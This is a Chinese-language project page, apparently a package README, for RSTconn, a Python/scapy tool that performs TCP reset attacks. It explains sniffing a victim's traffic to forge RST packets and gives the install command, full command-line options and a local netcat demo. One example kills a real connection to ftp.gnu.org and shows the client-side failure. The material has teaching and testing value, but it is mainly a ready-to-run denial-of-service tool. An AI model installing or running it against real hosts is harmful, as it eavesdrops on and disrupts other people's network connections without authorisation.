用 python 和 scapy 编写的 TCPKill 实用程序
项目描述
RSTconn
TCPKill 是一个实现TCP 重置攻击的实用程序。RSTconn 适用于 IPv4 和 IPv6,是用 python 和 scapy 编写的。
RSTconn 的工作原理
RESET 是 TCP 数据包中的一个标志,表示连接不再工作。如果 TCP 连接中的两个参与者中的任何一个发送的数据包包含这样的 RESET 标志,则连接将立即关闭。
因此,一旦攻击者知道他们的 IP、端口和当前 TCP 连接的序列号,就可以从任何一方伪造 TCP 数据包,就可以用来攻击 TCP 连接。
如果我们知道以上信息,该攻击可用于使某些用户无法使用某些基于 TCP 的网络服务。
在实践中,我们应该窃听受害者的通信以获取他们的 IP、端口和序列号。
我们通过过滤 TCP 数据包并找到我们想要攻击的最新数据包来做到这一点。
设置
pip install rstconn
用法
rstconn kills network connections.
optional arguments:
-h, --help show this help message and exit
--iface {lo,enp0s25,lxcbr0,docker0,br-d316e57def52,vethd4f41f0,veth6fa5336, ...}, -i {...}
Interface where to listen to
--server-ip SERVER_IP, -sip SERVER_IP
IPv4 or hostname
--client-ip CLIENT_IP, -cip CLIENT_IP
IPv4 or hostname
--server-port SERVER_PORT, -p SERVER_PORT
Server port
--packet-count PACKET_COUNT, -pc PACKET_COUNT
sends N RST packets
--seq-jitter SEQ_JITTER, -sj SEQ_JITTER
Set seq_jitter to be non-zero in order to prove to yourself that the
sequence number of a RST segment does indeed need to be exactly equal
to the last sequence number ACK-ed by the receiver
--ignore-syn, -is if a Packet has SYN flag, not sending RST
--window-size WINDOW_SIZE, -ws WINDOW_SIZE
Window size
-d {CRITICAL,ERROR,WARNING,INFO,DEBUG}, --debug {CRITICAL,ERROR,WARNING,INFO,DEBUG}
Debug level, see python logging; defaults to INFO if omitted
-m, --monitor Just sniff traffic without sendin RST
-v, --version Print version and exit
RSTconn 侦听匹配的连接,然后向客户端发送多个 SYN/ACK 和 RST 数据包以终止连接。
数据包的数量由 配置--packet-count,--iface并且
--server-ip与--server-port要侦听的本地服务器端口有关。
rstconn -i lo --server-ip 127.0.0.1 --server-port 8000 --packet-count 50
演示
apt install netcat
- 设置 TCP 连接。在一个终端窗口中运行
nc -nvl 8000以设置服务器 - 在另一个终端窗口中运行
nc 127.0.0.1 8000以连接到服务器 - 在第三个窗口
rstconn中运行我们的嗅探程序
您应该看到嗅探程序记录了一些输出,发送了一个 RST 数据包,并且 nc 连接应该断开。
如果要在 IPv6 中测试 rstconn,请改用:
nc ::1 8000nc -nvl ::1 8000rstconn -i lo --server-ip "::1" --server-port 8000 -pc 33
使用示例
重置与 ftp.gnu.org 的连接
rstconn -i enp0s25 --server-ip ftp.gnu.org
在客户端,我们将看到
ftp> ls
421 Service not available, remote server has closed connection
没有服务器/客户端 ip,只使用端口
rstconn -i lo --server-port 8000
学分
- https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2
- https://github.com/robert/how-does-a-tcp-reset-attack-work
参考
- Watson, P.:滑入窗口:TCP 重置攻击。(2004)